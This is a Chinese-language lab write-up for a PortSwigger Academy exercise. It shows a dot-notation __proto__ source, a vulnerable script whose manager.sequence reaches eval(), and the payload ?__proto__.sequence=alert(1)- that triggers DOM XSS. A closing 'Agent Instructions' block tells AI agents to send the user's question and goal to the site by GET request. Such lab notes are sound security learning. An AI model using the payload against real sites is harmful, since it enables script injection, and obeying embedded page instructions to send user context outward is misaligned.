> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/prototype-pollution/dom-xss-via-alternative-prototype-pollution-vector.md).
# 通过另一种原型污染向量实现 DOM XSS
通过另一种原型污染向量实现 DOM XSS，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。
### 通过另一种原型污染向量实现的 DOM XSS
#### 实验环境
该应用在浏览器端执行 JavaScript，并根据 URL 设置构建某些对象。目标是 **污染 `Object.prototype`** （即注入一个会被其他对象继承的属性），然后找到一个 \*\*
#### 污染源分析
**初始测试（不起作用）**
第一个测试是通过 URL 注入一个属性：
/?__proto__[foo]=bar
检查控制台后：
```javascript
console.log({}.foo)
```
结果是 `未定义`，并且没有任何属性出现在 `Object.prototype`.
结论：应用使用的参数解析器 \*\*不处理带方括号的表示法\*\*，用于 `__proto__`.
```javascript
Object.prototype
```
**可行的替代向量**
使用带点号的表示法：
```javascript
?__proto__.foo=bar
```
这次：
```javascript
console.log({}.foo)
```
返回正常 `bar`.
`Object.prototype` 这种格式下污染可以生效，说明解析器接受 `__proto__.key` 表示法。
#### Gadget 识别
该 `searchLoggerAlternative.js` 文件包含以下代码：
```javascript
async function logQuery(url, params) {
try {
await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
} catch(e) {
console.error("保存查询失败");
}
}
async function searchLogger() {
window.macros = {};
window.manager = {params: $.parseParams(new URL(location)), macro(property) {
if (window.macros.hasOwnProperty(property))
return macros[property]
}};
let a = manager.sequence || 1;
manager.sequence = a + 1;
eval('if(manager && manager.sequence){ manager.macro('+manager.sequence+') }');
if(manager.params && manager.params.search) {
await logQuery('/logger', manager.params);
}
}
window.addEventListener("load", searchLogger);
```
关键点：
* `manager.sequence` 可以继承自 `Object.prototype`.
* 其值被整合 **直接到传递给的字符串链中 `eval()`**.
* 未执行任何类型或内容验证。
`eval()` 因此是一个 **可利用的 gadget**.
#### 利用
该 `sequence` 属性被污染在全局原型上：
```javascript
?__proto__.sequence=alert(1) -
```
操作步骤：
* `manager.sequence` 从中恢复被污染的值 `Object.prototype`.
* 该 `a + 1` 操作会将字符串链变为 `alert(1) -1`.
* 这个值被注入到由 `eval()`.
结果：
* `alert(1)` 在加载页面时执行。
* 该 **DOM XSS 成功触发**.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/web/prototype-pollution/dom-xss-via-alternative-prototype-pollution-vector.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)